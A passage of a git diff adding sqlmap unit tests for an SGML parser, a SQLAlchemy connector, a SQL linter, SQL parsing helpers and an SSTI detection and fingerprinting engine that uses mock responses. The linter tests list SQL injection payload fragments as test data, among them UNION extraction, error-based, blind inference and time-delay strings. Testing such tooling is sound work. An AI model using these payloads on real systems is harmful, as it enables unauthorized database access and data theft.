self.events.append(("unknown_entityref", ref)) + + +class TestBasicParsing(unittest.TestCase): + def setUp(self): + self.p = RecordingParser() + + def test_plain_text(self): + self.p.feed("hello world") + self.p.close() + self.assertEqual(self.p._gather_data(), "hello world") + + def test_simple_start_and_end_tag(self): + self.p.feed("

    text

    ") + self.p.close() + self.assertIn(("start", "p", []), self.p.events) + self.assertIn(("data", "text"), self.p.events) + self.assertIn(("end", "p"), self.p.events) + + def test_nested_tags(self): + self.p.feed("
    hello
    ") + self.p.close() + self.assertIn(("start", "div", []), self.p.events) + self.assertIn(("start", "span", []), self.p.events) + self.assertIn(("data", "hello"), self.p.events) + self.assertIn(("end", "span"), self.p.events) + self.assertIn(("end", "div"), self.p.events) + + def test_sgml_shorttag(self): + # SGML shorthand: data + self.p.feed("
    click') + self.p.close() + start_events = [e for e in self.p.events if e[0] == "start"] + self.assertEqual(len(start_events), 1) + tag, attrs = start_events[0][1], start_events[0][2] + self.assertEqual(tag, "a") + self.assertIn(("href", "/page"), attrs) + self.assertIn(("class", "link"), attrs) + + def test_entity_reference(self): + self.p.feed("x < y & z") + self.p.close() + self.assertEqual(self.p._gather_data(), "x < y & z") + + def test_known_entityref_event(self): + self.p.feed("<") + self.p.close() + self.assertIn(("entityref", "lt"), self.p.events) + + def test_numeric_charref(self): + self.p.feed("A") + self.p.close() + self.assertEqual(self.p._gather_data(), "A") + + def test_comment(self): + self.p.feed("ab") + self.p.close() + self.assertIn(("comment", " comment "), self.p.events) + self.assertEqual(self.p._gather_data(), "ab") + + def test_doctype(self): + self.p.feed("text") + self.p.close() + # The DOCTYPE must be reported as a declaration event (proving it was + # routed through parse_declaration, not mishandled as data) ... + self.assertIn(("decl", "DOCTYPE html"), self.p.events) + # ... and the trailing text must be the only data emitted. + self.assertEqual(self.p._gather_data(), "text") + + def test_empty_input(self): + self.p.feed("") + self.p.close() + self.assertEqual(len(self.p.events), 0) + + def test_feed_in_chunks(self): + for ch in "

    abc

    ": + self.p.feed(ch) + self.p.close() + self.assertIn(("start", "p", []), self.p.events) + self.assertIn(("end", "p"), self.p.events) + self.assertEqual(self.p._gather_data(), "abc") + + def test_multiple_feeds(self): + self.p.feed("

    first

    ") + self.p.feed("

    second

    ") + self.p.close() + starts = [e for e in self.p.events if e[0] == "start"] + self.assertEqual(len(starts), 2) + self.assertEqual(self.p._gather_data(), "firstsecond") + + +class TestEntityConversion(unittest.TestCase): + def test_convert_entityref_known(self): + p = SGMLParser() + self.assertEqual(p.convert_entityref("lt"), "<") + self.assertEqual(p.convert_entityref("gt"), ">") + self.assertEqual(p.convert_entityref("amp"), "&") + self.assertEqual(p.convert_entityref("quot"), '"') + self.assertEqual(p.convert_entityref("apos"), "'") + + def test_convert_entityref_unknown(self): + p = SGMLParser() + self.assertIsNone(p.convert_entityref("unknown")) + + def test_convert_charref_valid(self): + p = SGMLParser() + self.assertEqual(p.convert_charref("65"), "A") + self.assertEqual(p.convert_charref("97"), "a") + + def test_convert_charref_invalid(self): + p = SGMLParser() + self.assertIsNone(p.convert_charref("notanumber")) + self.assertIsNone(p.convert_charref("9999")) # > 127 + + def test_convert_codepoint(self): + p = SGMLParser() + self.assertEqual(p.convert_codepoint(65), "A") + + +class TestCustomEntitydefs(unittest.TestCase): + def test_custom_entity(self): + p = RecordingParser() + p.entitydefs = dict(p.entitydefs) # shadow the shared SGMLParser class dict so 'copy' doesn't leak process-wide + p.entitydefs["copy"] = "\xa9" + p.feed("©") + p.close() + self.assertEqual(p._gather_data(), "\xa9") + + +class TestGetStarttagText(unittest.TestCase): + def test_starttag_text(self): + p = RecordingParser() + p.feed("
    text
    ") + p.close() + # get_starttag_text() must return the exact raw start-tag source, + # verbatim including the original quoting -- not a normalized form. + self.assertEqual(p.get_starttag_text(), "
    ") + + +class TestSetnomoretags(unittest.TestCase): + def test_nomoretags(self): + p = RecordingParser() + p.setnomoretags() + p.feed("

    raw text

    ") + p.close() + self.assertEqual(p._gather_data(), "

    raw text

    ") + + +class TestReset(unittest.TestCase): + def test_reset_clears_parser_state(self): + p = RecordingParser() + p.feed("

    hello

    ") + # verify rawdata is cleared after close + self.assertEqual(p.rawdata, "") + p.reset() + self.assertEqual(p.stack, []) + self.assertEqual(p.lasttag, "???") + + +class TestVerbose(unittest.TestCase): + # In this parser, `verbose` only gates the debug printing emitted by + # report_unbalanced() (an unbalanced for which an end_ + # handler exists). So a meaningful test must trigger that path and + # observe the difference on stdout. + class _Parser(SGMLParser): + def end_b(self): + pass + + def _run(self, verbose): + p = self._Parser() + p.verbose = verbose + _captured = [] + + class _Cap(object): + def write(self, s): + _captured.append(s) + + def flush(self): + pass + + _saved = sys.stdout + sys.stdout = _Cap() + try: + p.feed("    ") # unbalanced end tag -> report_unbalanced() + p.close() + finally: + sys.stdout = _saved + return "".join(_captured) + + def test_verbose_mode_emits_debug(self): + out = self._run(1) + self.assertIn("*** Unbalanced ", out) + self.assertIn("*** Stack:", out) + + def test_nonverbose_mode_is_silent(self): + self.assertEqual(self._run(0), "") + + +class TestSGMLParseError(unittest.TestCase): + def test_error_class(self): + from lib.utils.sgmllib import SGMLParseError + e = SGMLParseError("test") + self.assertIsInstance(e, RuntimeError) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqlalchemy.py b/tests/test_sqlalchemy.py new file mode 100644 index 00000000000..768c1241119 --- /dev/null +++ b/tests/test_sqlalchemy.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The SQLAlchemy '-d' connector wrapper (lib/utils/sqlalchemy.py). The absolute +SQLite path must map to 'sqlite:///' + abspath: an extra slash yields the db +'//path' (tolerated only on Linux by accident) and, on Windows, a broken +'/C:\\...' that fails to open. +""" + +import os +import sqlite3 +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +try: + import sqlalchemy as _sa + _HAVE_SA = hasattr(_sa, "dialects") +except ImportError: + _HAVE_SA = False + +from lib.core.data import conf +from lib.utils.sqlalchemy import SQLAlchemy + + +@unittest.skipUnless(_HAVE_SA, "SQLAlchemy not installed") +class TestSQLAlchemySqlitePath(unittest.TestCase): + _KEYS = ("direct", "dbmsUser", "dbmsPass", "hostname", "port", "dbmsDb") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._KEYS) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + + def test_absolute_sqlite_path_opens_correct_file(self): + d = tempfile.mkdtemp(prefix="sqlmap-sa-test") + dbfile = os.path.join(d, "target.db") + con = sqlite3.connect(dbfile) + con.execute("CREATE TABLE t (x TEXT)") + con.execute("INSERT INTO t VALUES ('secret')") + con.commit() + con.close() + + conf.direct = "sqlite://%s" % dbfile + conf.dbmsUser = conf.dbmsPass = None + conf.hostname = None + conf.port = None + conf.dbmsDb = dbfile + + sa = SQLAlchemy(dialect="sqlite") + sa.connect() + + # the reformatted URL must resolve to the exact absolute file (not '//...path') + self.assertEqual(_sa.engine.url.make_url(sa.address).database, os.path.abspath(dbfile)) + # and end-to-end it must read from that file + self.assertEqual(sa.select("SELECT x FROM t"), [("secret",)]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py new file mode 100644 index 00000000000..4c06bbcdecc --- /dev/null +++ b/tests/test_sqllint.py @@ -0,0 +1,207 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests + atom-level SQL coverage for lib/utils/sqllint.py. + +Two concerns: + + 1. Linter self-test - a curated set of well-formed fragments/statements that + must NOT flag, malformed ones that MUST flag, and the cross-dialect edge + cases the linter has learned (==, ::, $/backtick identifiers, LIKE() as a + function, HSQLDB "LIMIT off lim", ...). Guards the linter from regressions. + + 2. Atom-level SQL coverage - every SQL-bearing template in data/xml/queries.xml + and data/xml/payloads.xml, across ALL back-end DBMSes, must lint structurally + clean. This is a coverage gate over the *building blocks* of every query + sqlmap emits. The composed/runtime layer (agent.py wrapping these atoms into + wire payloads) is exercised faithfully by the separate payload-lint walk; a + 0-flag result here means the catalog itself is sound in all 30 dialects. + +A regression (a newly malformed catalog entry, OR a genuinely new valid dialect +construct the linter does not yet understand) makes the relevant test fail with a +pointer to the offending template. + +stdlib unittest only; Python 2.7 and 3.x; pure-ASCII. +""" + +import os +import re +import sys +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from lib.utils.sqllint import checkSanity + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + +# well-formed fragments/statements that must NOT flag +GOOD = ( + "1 AND 1=1", + "1) AND 5108=5108 AND (7936=7936", + "1)) OR 1=1-- -", + "1' AND '1'='1", + "1 UNION ALL SELECT NULL,NULL,CONCAT(0x71,0x62,0x71)-- -", + "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7176,(SELECT database()),0x71)x FROM information_schema.tables GROUP BY x)a)", + "1 AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),1,1))>64", + "1 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7e,(SELECT version())))", + "SELECT name FROM users WHERE id=1 ORDER BY id", + "SELECT count(*) FROM t WHERE x=1", + "1 WAITFOR DELAY '0:0:5'", +) + +# cross-dialect valid constructs the linter must accept (regression guards for +# the exact false positives that adversarial/catalog runs exposed and fixed) +DIALECT_GOOD = ( + "1 AND id==1", # SQLite '==' equality + "SELECT 1 WHERE (SELECT 1)::text = '1'", # PostgreSQL '::' cast + "SELECT 1 WHERE 9223=LIKE(CHAR(65),UPPER(HEX(1)))", # SQLite LIKE() function + "SELECT NAME FROM SYSMASTER:SYSDATABASES", # Informix 'db:table' + "SELECT $ZVERSION", # InterSystems Cache system var + "SELECT `col` FROM `directory` LIMIT 0,1", # MySQL backtick identifiers + "SELECT LIMIT 0 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS", # HSQLDB space-LIMIT + "SELECT TOP 1 name FROM master..sysdatabases", # MSSQL TOP + db..table + "CONCAT('\\',0x71,(SELECT 1))", # backslash-literal string (ANSI) + "SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2", # two WHEREs across UNION (legal) + "SELECT a FROM (SELECT b FROM t WHERE c=1) z WHERE d=2", # subquery WHERE + outer WHERE (different scopes) + "SELECT a FROM t WHERE x IN (SELECT c FROM d WHERE e=1) AND f=2", # WHERE with a WHERE'd subquery +) + +# malformed fragments/statements that MUST flag +BAD = ( + "(SELECT id 1 FROM users)", # missing separator + "1 AND 1=(SELECT id 1 FROM users' WHERE tablename='foobar')", # stray quote in scope + "1UNION SELECT NULL", # digit glued to word + "1 AND 5108=5108AND 1=1", # digit glued to keyword + "1 AND 1 = = 1", # doubled operator + "1 AND AND 1=1", # doubled keyword operator + "1 UNION SELECT NULL,,NULL", # empty list item + "1 AND (1=1)(2=2)", # adjacent groups + "SELECT count() FROM t WHERE id=)", # operator before ')' + "SELECT a,b, FROM t", # dangling comma before clause + "1 AND (SELECT [DELIMITER_START]x[DELIMITER_STOP] FROM t)", # leftover templating marker + "1 [ORIGVALUE] AND 1=1", # leftover ORIGVALUE marker + "1 UNI1ON ALL SELECT NULL,NULL", # digit-corrupted UNION + "1 UrNION ALL SELECT NULL", # char-inserted UNION + "SEL2ECT x.z FROM t", # digit-corrupted SELECT + "1 ORD2ER BY 1", # digit-corrupted ORDER + "1 UNIN ALL SELECT NULL", # deletion-typo UNION + "1 UNOIN ALL SELECT NULL", # transposition-typo UNION + "SELCT a FROM t", # deletion-typo SELECT + "1 UNION ALLSELECT NULL", # glued keyword after UNION + "1 AND ORD(MID((SELECT COUNT(x FROM t),1,1))>64", # unbalanced parentheses (dropped ')') + "1 UNION ALL SELECT ,CONCAT(0x71,a,0x71) FROM t", # comma right after SELECT + "SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') WHERE OWNER IN ('APPU')", # double WHERE (mis-appended schema filter) + "SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V') WHERE tabschema IN ('DB2INST1')", # double WHERE (DB2) + "SELECT a FROM t WHERE x=1 HAVING c>1 HAVING d<2", # duplicate HAVING +) + +# cross-dialect valid constructs the near-keyword / comma / digit-glue rules must +# NOT flag (regression guards for false positives the real-identifier stress found) +DIALECT_GOOD_HARD = ( + "SELECT 4images_users FROM t", # digit-STARTED identifier (not '1UNION') + "SELECT a,group,b FROM t", # column literally named 'group' + "SELECT a,order FROM t", # column literally named 'order' + "1 UNION SELECT orders FROM t", # 'orders' near ORDER but a real table +) + +# queries.xml: attributes that carry SQL (not regexes/markers) +_SQL_ATTRS = ("query", "query2", "query3", "count", "count2", "count3", + "condition", "condition2", "condition3", + "keyset_where", "keyset_next", "keyset_first", "keyset_by", "keyset_ordered", "rowid") +_SKIP_TAGS = ("limitregexp", "comment") + + +def _materialize(s): + """Substitute sqlmap's template markers with structurally-neutral values so a + catalog template becomes lintable SQL (mirrors what agent.py fills in).""" + s = s.replace("[QUERY]", "SELECT 1").replace("[UNION]", "UNION SELECT NULL") + s = s.replace("[INFERENCE]", "1=1") + s = re.sub(r"\[RANDNUM\d*\]", "1", s) + s = re.sub(r"\[RANDSTR\d*\]", "abc", s) + s = s.replace("[SLEEPTIME]", "1").replace("[DELAYED]", "1") + for _ in ("[DELIMITER_START]", "[DELIMITER_STOP]", "[COLSTART]", "[COLSTOP]"): + s = s.replace(_, "0x71") + s = s.replace("[ORIGVALUE]", "1").replace("[CHAR]", "NULL").replace("[GENERIC_SQL_COMMENT]", "-- -") + s = s.replace("[SINGLE_QUOTE]", "'").replace("[DOUBLE_QUOTE]", '"').replace("[DB]", "db") + s = s.replace("[SPACE_REPLACE]", " ").replace("[HASH_REPLACE]", "#") + s = s.replace("[DOLLAR_REPLACE]", "$").replace("[AT_REPLACE]", "@") + s = re.sub(r"\[[A-Z][A-Z0-9_]*\]", "1", s) + s = s.replace("%d", "1").replace("%s", "col").replace("%%", "%") + return s + + +def _queries_atoms(): + """{dbms: sorted list of SQL atom strings} from queries.xml.""" + retVal = {} + root = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")).getroot() + for dbms in root.iter("dbms"): + atoms = set() + for el in dbms.iter(): + if el.tag in _SKIP_TAGS: + continue + for attr in _SQL_ATTRS: + raw = el.get(attr) + if raw and not raw.strip().isdigit(): + atoms.add(raw) + retVal[dbms.get("value")] = sorted(atoms) + return retVal + + +def _payload_atoms(): + """[(file, stype-title, sql)] from data/xml/payloads/*.xml.""" + import glob + retVal = [] + for path in sorted(glob.glob(os.path.join(ROOT, "data", "xml", "payloads", "*.xml"))): + name = os.path.basename(path) + for test in ET.parse(path).getroot().iter("test"): + title = (test.findtext("title") or "").strip() + for tag in ("payload", "vector", "comparison"): + for el in test.iter(tag): + raw = (el.text or "").strip() + if raw: + retVal.append((name, title, raw)) + return retVal + + +class TestLinterSelf(unittest.TestCase): + def test_well_formed_pass(self): + for sql in GOOD + DIALECT_GOOD + DIALECT_GOOD_HARD: + self.assertEqual(checkSanity(sql), [], "false positive on valid SQL: %r" % sql) + + def test_malformed_flag(self): + for sql in BAD: + self.assertTrue(checkSanity(sql), "missed malformed SQL: %r" % sql) + + def test_nonascii_identifier(self): + # a non-ASCII column name (Turkish dotless-i U+0131) must lex as an identifier, not stray + self.assertEqual(checkSanity(u"SELECT \u0131d,ad FROM users"), []) + + +class TestCatalogCoverage(unittest.TestCase): + def test_queries_xml_clean(self): + atoms = _queries_atoms() + total = 0 + for dbms, items in atoms.items(): + for raw in items: + total += 1 + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "queries.xml [%s] malformed atom: %r -> %s" % (dbms, raw, issues)) + self.assertGreater(total, 1000) # sanity: the catalog was actually walked + + def test_payloads_xml_clean(self): + items = _payload_atoms() + for name, title, raw in items: + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "%s malformed payload atom (%s): %r -> %s" % (name, title, raw, issues)) + self.assertGreater(len(items), 500) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqlparse.py b/tests/test_sqlparse.py new file mode 100644 index 00000000000..afe204ecb5c --- /dev/null +++ b/tests/test_sqlparse.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQL/string parsing helpers: field splitting and 0-depth (paren+quote aware) +scanning, query cleanup, regex extraction. +Includes regression cases for the quote-awareness bugs fixed previously. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import splitFields, zeroDepthSearch, cleanQuery, extractRegexResult + + +class TestSplitFields(unittest.TestCase): + CASES = [ + ("a,b", ["a", "b"]), + ("user,password", ["user", "password"]), + ("a,b,c", ["a", "b", "c"]), + ("a", ["a"]), + ("max(a,b)", ["max(a,b)"]), # paren-protected + ("max(a, b),c", ["max(a,b)", "c"]), # ', ' normalized; outer split + ("COUNT(*),name", ["COUNT(*)", "name"]), + ("f(g(x,y),z),h", ["f(g(x,y),z)", "h"]), # nested parens + ("'a,b'", ["'a,b'"]), # REGRESSION: comma in single-quoted literal + ("'a,b','c|d','e&f'", ["'a,b'", "'c|d'", "'e&f'"]), # REGRESSION + ('"x,y",z', ['"x,y"', "z"]), # double-quoted literal + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(splitFields(inp), expected, msg="splitFields(%r)" % inp) + + +class TestZeroDepthSearch(unittest.TestCase): + def test_quote_awareness(self): + # ' FROM ' inside a literal must NOT be a clause boundary (regression) + self.assertEqual(zeroDepthSearch("SELECT 'x FROM y'", " FROM "), []) + # a real FROM must be found (exactly once here) + self.assertEqual(len(zeroDepthSearch("SELECT a FROM t", " FROM ")), 1) + + def test_paren_awareness(self): + self.assertEqual(zeroDepthSearch("a(,)b,c", ","), [5]) # only the depth-0 comma + + def test_doctest_vectors(self): + q = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL" + hits = zeroDepthSearch(q, "FROM") + self.assertTrue(hits, "no depth-0 FROM found") # guard: avoid a confusing IndexError + self.assertEqual(q[hits[0]:], "FROM DUAL") # outer FROM only + s = "a(b; c),d;e" + hits = zeroDepthSearch(s, "[;, ]") + self.assertTrue(hits) + self.assertEqual(s[hits[0]:], ",d;e") # char-class form + + +class TestCleanQuery(unittest.TestCase): + def test_keyword_uppercasing(self): + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + # mixed case keywords get uppercased; non-keyword identifiers are preserved verbatim + self.assertEqual(cleanQuery("seLeCt a fRoM t"), "SELECT a FROM t") + self.assertEqual(cleanQuery("SELECT 1"), "SELECT 1") # already-upper unchanged + + def test_idempotent(self): + for q in ["select a from t", "SELECT 1", "select x where y=1 order by z"]: + once = cleanQuery(q) + self.assertEqual(cleanQuery(once), once) + # idempotence alone would pass even if cleanQuery uppercased EVERYTHING; anchor that it + # uppercases keywords but preserves the lowercase identifier + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + + +class TestExtractRegexResult(unittest.TestCase): + def test_named_group(self): + self.assertEqual(extractRegexResult(r"id=(?P\d+)", "id=42"), "42") + self.assertIsNone(extractRegexResult(r"id=(?P\d+)", "no match here")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_ssti.py b/tests/test_ssti.py new file mode 100644 index 00000000000..54c6419f1f2 --- /dev/null +++ b/tests/test_ssti.py @@ -0,0 +1,829 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the SSTI detection and fingerprinting engine. Mock _send() stands +in for the HTTP/Jinja2 layer so engine table integrity, arithmetic proof, error +detection, boolean oracle, distinguishing probes, and fingerprinting can be +exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ssti.inject as ssti + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(ssti._ratio("abc", "abc"), 0.9) + self.assertLess(ssti._ratio("abc", "xyz"), 0.5) + + def test_delim(self): + from lib.core.enums import PLACE + self.assertEqual(ssti._delim(PLACE.GET), '&') + self.assertEqual(ssti._delim(PLACE.COOKIE), ';') + + +class TestEngineTable(unittest.TestCase): + def test_all_engines_have_required_fields(self): + for engine in ssti._ENGINE_TABLE: + self.assertTrue(len(engine.name) > 0) + self.assertTrue(len(engine.delimiter) > 0) + + def test_arithmetic_engines_have_format_strings(self): + noArith = ("Velocity", "Handlebars") + for engine in ssti._ENGINE_TABLE: + if engine.name not in noArith: + self.assertIn("%d", engine.arithmeticFmt, + "Engine '%s' arithmeticFmt must contain %%d placeholders" % engine.name) + + def test_error_probes_present(self): + for engine in ssti._ENGINE_TABLE: + if engine.errorRegex: + self.assertTrue(len(engine.errorProbes) > 0, + "Engine '%s' has errorRegex but no errorProbes" % engine.name) + + def test_distinguishing_probes_for_curly_engines(self): + curlyEngines = [e for e in ssti._ENGINE_TABLE if e.delimiter == "{{"] + withProbes = [e for e in curlyEngines if e.distinguishingProbe] + # Jinja2 and Twig are distinguished by trueRendered/falseRendered; + # Twig/Handlebars have distinguishing probes. At least one curly engine + # must have a probe, but Jinja2 can rely on boolean rendering difference. + self.assertGreaterEqual(len(withProbes), 1, + "At least one {{}}-delimited engine needs a distinguishing probe") + + def test_boolean_payloads_differ(self): + for engine in ssti._ENGINE_TABLE: + self.assertNotEqual(engine.booleanTrue, engine.booleanFalse, + "Engine '%s' true/false payloads must differ" % engine.name) + if engine.trueRendered: + self.assertNotEqual(engine.trueRendered, engine.falseRendered, + "Engine '%s' true/false rendered values must differ" % engine.name) + + +class TestArithmeticDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_arithmetic_control_pair(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + + def mock(place, parameter, value): + import re + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + a, b = int(m.group(1)), int(m.group(2)) + return "Hello %d" % (a * b) + return "Hello " + value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + + def test_struts2_ognl_arithmetic_control_pair(self): + # Struts2 evaluates '%{expr}' (OGNL) and reflects it in the redisplayed field value + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Struts2 (OGNL)"][0] + + def mock(place, parameter, value): + import re + m = re.search(r"%\{(\d+)\*(\d+)\}", value) + if m: + return 'name="username" value="%d"' % (int(m.group(1)) * int(m.group(2))) + return 'name="username" value="%s"' % value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + + def test_arithmetic_requires_both_results_correct(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello 42" # always returns 42 regardless of payload + + ssti._send = mock + # Control pair check: result1 must NOT appear in page2 and vice versa + self.assertFalse(ssti._probeArithmetic("GET", "q", engine)) + + def test_handlebars_skipped(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + self.assertFalse(ssti._probeArithmetic("GET", "q", engine)) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_error_detected(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + if "{{" in value and "unknown" in value: + return "jinja2.exceptions.TemplateSyntaxError: unexpected '}'" + return "Hello " + value + + ssti._send = mock + page = ssti._probeError("GET", "q", engine) + self.assertIsNotNone(page) + + def test_no_error_on_normal_response(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello " + value + + ssti._send = mock + page = ssti._probeError("GET", "q", engine) + self.assertIsNone(page) + + def test_ssti_static_engine_error_is_not_confirmation(self): + # a static template-parser error (present for every value, no arithmetic/boolean evaluation + # proof) must NOT confirm SSTI - only reflect the payload and always leak an engine name + def mock(place, parameter, value): + return "debug: jinja2.exceptions.TemplateSyntaxError (cached). you sent: " + value + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNone(engine) # no evaluation proof -> not a confirmed SSTI + + def test_backend_from_error(self): + page = "jinja2.exceptions.UndefinedError: 'foo' is undefined" + backend = ssti._backendFromError(page) + self.assertIsNotNone(backend) + + +class TestDistinguishingProbes(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_no_distinguishing_probe(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + self.assertFalse(engine.distinguishingProbe, + "Jinja2 uses trueRendered/falseRendered for disambiguation, not a separate probe") + + def test_no_distinguishing_without_probe(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Pug/Jade"][0] + self.assertFalse(ssti._probeDistinguishing("GET", "q", engine)) + + def test_comment_probe_reflection_rejected(self): + """Comment-style probe reflected verbatim must not pass.""" + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0] + + def mock(place, parameter, value): + if "<#--" in value: + return "Hello <#-- freemarker -->" # raw reflection + return "Hello " + value + + ssti._send = mock + self.assertFalse(ssti._probeDistinguishing("GET", "q", engine)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_boolean(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + if "True" in value: + return "Hello True" + elif "False" in value: + return "Hello False" + return "Hello " + value + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNotNone(template) + + def test_no_boolean_when_true_false_same(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "same response" + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNone(template) + + def test_plain_reflection_rejected(self): + """Raw payload reflection must not pass boolean detection.""" + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello " + value # reflects payload verbatim + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNone(template) + + def test_true_marker_in_baseline_rejected(self): + """When the true marker ('True') is already present in the untouched baseline it is page + furniture, not our evaluated output, so its appearance cannot confirm a boolean oracle.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2, trueRendered='True' + + def mock(place, parameter, value): + if "{{ True }}" in value: + return "flag=True ok" + if "{{ False }}" in value: + return "flag=True no" # diverges, but 'True' still shown + return "flag=True baseline" # 'True' already in the baseline + + ssti._send = mock + self.assertIsNone(ssti._detectBoolean("GET", "q", engine)) + + def test_error_pages_are_not_a_boolean_oracle(self): + """Two syntactically invalid true/false payloads that merely trip DIFFERENT engine error + messages diverge, but an error page is not a rendered boolean -> no oracle.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2 + + def mock(place, parameter, value): + if "{{ True }}" in value: + return "jinja2.exceptions.UndefinedError: x" + if "{{ False }}" in value: + return "TemplateSyntaxError: y" + return "baseline" + + ssti._send = mock + self.assertIsNone(ssti._detectBoolean("GET", "q", engine)) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_fingerprinted_with_arith_and_boolean(self): + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + if "True" in value: + return "Hello True" # Jinja2-style boolean rendering + if "False" in value: + return "Hello False" + if "unknown|filter" in value: + return "jinja2.exceptions.TemplateSyntaxError: unexpected '}'" + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + self.assertIn("Jinja2", engine.name) + self.assertTrue(evidence.get("arithmetic")) + self.assertTrue(evidence.get("boolean")) + + +class TestCrossEngineDisambiguation(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_preferred_over_twig_via_boolean_rendering(self): + """Jinja2 and Twig share {{ }} but differ in boolean rendering. + Jinja2 renders True as 'True', Twig renders true as '1'. + Our detection uses trueRendered for intrinsic discrimination.""" + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + # Twig-style boolean rendering (true -> 1, false -> empty) + if "{{ true }}" in value: + return "Hello 1" + if "{{ false }}" in value: + return "Hello " + if "{{ True }}" in value: + return "Hello 1" # Jinja2 True payload would not match this + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + # Twig should win because its boolean payloads match the mock + self.assertIn("Twig", engine.name) + + +class TestBooleanUniqueness(unittest.TestCase): + def test_jinja2_boolean_unique_among_curlies(self): + jinja2 = ssti._ENGINE_TABLE[0] + self.assertTrue(ssti._booleanUniquelyIdentifies(jinja2)) + + def test_freemarker_boolean_unique_with_computer_format(self): + freemarker = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0] + # FreeMarker uses ${true?c} (computer-format), distinct from SpringEL's ${true} and + # Mako's ${True}, so its boolean rendering now uniquely identifies it within the ${ } family + self.assertTrue(ssti._booleanUniquelyIdentifies(freemarker)) + spring = [e 